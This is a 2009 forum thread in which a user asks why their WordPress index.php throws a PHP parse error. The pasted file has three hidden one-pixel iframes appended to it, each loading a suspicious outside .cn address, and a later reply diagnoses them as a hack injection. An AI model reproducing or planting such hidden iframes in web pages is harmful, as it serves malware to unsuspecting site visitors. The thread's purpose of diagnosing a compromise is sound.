Log In · Register

 
Help: Parse error: syntax error, unexpected '?'
lc2008
post Feb 8 2009, 03:06 AM
Post #1


Newbie
*

Group: Member
Posts: 9
Joined: Jun 2008
Member No: 657,170



This keeps showing up on my website:

Parse error: syntax error, unexpected '?' in /home/mileycyr/public_html/index.php on line 18

I can't find out whats wrong with it. Here is the code:

CODE
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?<html><iframe src="http://litetopfindworld.cn/in.cgi?cocacola44" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola42" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola39" width=1 height=1 style="visibility: hidden"></iframe></body></html>>
Reason for edit: Please use [codebox] tags when posting long codes. - Mike
 
 
Start new topic
Replies
netexperienced
post Mar 6 2009, 04:48 PM
Post #2


Newbie
*

Group: Member
Posts: 1
Joined: Mar 2009
Member No: 717,897



I don't know if anyone else noticed this, but your index.php file had been hacked.

Someone inserted that iframe into it, trying to make their site popup in place of yours, but they botched it.

I know this because I just repaired a similar problem and the cocacola part of that url in the iframe was the same.

Hope this helps future readers.
 

Posts in this topic


Reply to this topicStart new topic
2 User(s) are reading this topic (2 Guests and 0 Anonymous Users)
0 Members: